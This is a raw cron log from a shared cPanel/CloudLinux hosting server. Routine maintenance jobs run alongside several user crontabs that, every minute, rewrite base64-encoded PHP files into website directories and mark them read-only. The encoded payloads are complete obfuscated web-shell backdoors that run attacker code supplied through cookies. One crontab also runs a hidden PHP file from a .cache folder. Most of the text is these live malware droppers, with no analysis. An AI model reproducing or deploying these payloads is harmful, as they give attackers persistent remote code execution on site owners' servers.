Mar  2 12:10:01 medusa CROND[20480]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:10:01 medusa CROND[20478]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 12:10:01 medusa CROND[20483]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:10:01 medusa CROND[20475]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 12:10:01 medusa CROND[20485]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 12:10:01 medusa CROND[20479]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 12:10:01 medusa CROND[20481]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 12:10:01 medusa CROND[20503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:10:01 medusa CROND[20508]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 12:10:01 medusa CROND[20506]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 12:11:01 medusa CROND[5650]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 12:11:01 medusa CROND[5651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:11:01 medusa CROND[5652]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:11:01 medusa CROND[5653]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:11:01 medusa CROND[5654]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:11:01 medusa CROND[5655]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 12:11:01 medusa CROND[5662]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:11:01 medusa CROND[5663]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:11:01 medusa CROND[5665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:11:01 medusa CROND[5672]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:11:01 medusa CROND[5675]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:11:01 medusa CROND[5680]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:11:01 medusa CROND[5685]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:12:01 medusa CROND[25043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:12:01 medusa CROND[25045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:12:01 medusa CROND[25328]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:12:01 medusa CROND[25330]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:12:01 medusa CROND[25335]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:12:01 medusa CROND[25342]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 12:12:01 medusa CROND[25343]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:12:01 medusa CROND[25344]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:12:01 medusa CROND[25345]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:12:01 medusa CROND[25346]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 12:12:01 medusa CROND[25347]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:12:01 medusa CROND[25351]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:12:01 medusa CROND[25356]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
